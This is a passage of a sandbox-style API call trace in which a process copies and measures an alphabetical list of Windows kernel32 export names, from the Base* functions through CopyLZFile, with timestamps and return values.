(lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0146.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0146.788] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0146.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0146.788] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0146.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0146.788] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0146.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0146.788] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0146.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0146.788] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0146.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0146.788] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0146.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0146.788] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0146.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0146.788] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0146.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0146.788] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0146.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0146.788] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0146.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0146.788] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0146.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0146.788] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0146.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0146.789] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0146.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0146.789] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0146.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0146.789] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0146.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0146.789] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0146.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0146.789] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0146.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0146.789] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0146.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0146.789] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0146.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0146.789] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0146.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0146.789] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0146.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0146.789] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0146.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0146.789] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0146.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0146.789] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0146.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0146.789] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0146.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0146.789] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0146.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0146.789] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0146.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0146.789] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0146.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0146.789] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0146.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0146.790] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0146.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0146.790] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0146.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0146.790] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0146.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0146.790] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0146.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0146.790] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0146.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0146.790] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0146.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0146.790] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0146.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0146.790] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0146.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0146.790] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0146.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0146.790] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0146.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0146.790] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0146.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0146.790] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0146.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0146.790] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0146.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0146.790] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0146.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0146.790] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0146.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0146.790] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0146.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0146.790] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0146.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0146.790] lstrlenA (lpString="BEEP") returned 4 [0146.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0146.791] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0146.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0146.791] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0146.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0146.791] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0146.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0146.791] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0146.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0146.791] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0146.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0146.791] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0146.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0146.791] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0146.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0146.791] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0146.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0146.791] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0146.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0146.791] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0146.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0146.791] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0146.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0146.791] lstrlenA (lpString="CANCELIO") returned 8 [0146.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0146.791] lstrlenA (lpString="CANCELIOEX") returned 10 [0146.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0146.791] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0146.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0146.791] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0146.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0146.791] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0146.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0146.791] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0146.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0146.792] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0146.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0146.792] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0146.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0146.792] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0146.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0146.792] lstrlenA (lpString="CHECKELEVATION") returned 14 [0146.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0146.792] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0146.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0146.792] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0146.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0146.792] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0146.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0146.792] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0146.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0146.792] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0146.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0146.792] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0146.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0146.792] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0146.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0146.792] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0146.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0146.792] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0146.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0146.792] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0146.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0146.792] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0146.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0146.792] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0146.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0146.792] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0146.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0146.792] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0146.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0146.793] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0146.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0146.793] lstrlenA (lpString="CLOSESTATE") returned 10 [0146.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0146.793] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0146.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0146.793] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0146.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0146.793] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0146.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0146.793] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0146.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0146.793] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0146.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0146.793] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0146.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0146.793] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0146.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0146.793] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0146.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0146.793] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0146.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0146.793] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0146.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0146.793] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0146.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0146.793] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0146.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0146.793] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0146.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0146.793] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0146.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0146.793] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0146.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0146.793] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0146.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0146.794] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0146.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0146.794] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0146.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0146.794] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0146.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0146.794] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0146.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0146.794] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0146.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0146.794] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0146.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0146.794] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0146.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0146.794] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0146.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0146.794] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0146.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0146.794] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0146.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0146.794] lstrlenA (lpString="COPYCONTEXT") returned 11 [0146.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0146.794] lstrlenA (lpString="COPYFILE2") returned 9 [0146.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0146.794] lstrlenA (lpString="COPYFILEA") returned 9 [0146.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0146.794] lstrlenA (lpString="COPYFILEEXA") returned 11 [0146.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0146.794] lstrlenA (lpString="COPYFILEEXW") returned 11 [0146.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0146.794] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0146.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0146.794] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0146.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0146.795] lstrlenA (lpString="COPYFILEW") returned 9 [0146.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0146.795] lstrlenA (lpString="COPYLZFILE") returned 10 [0146.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: 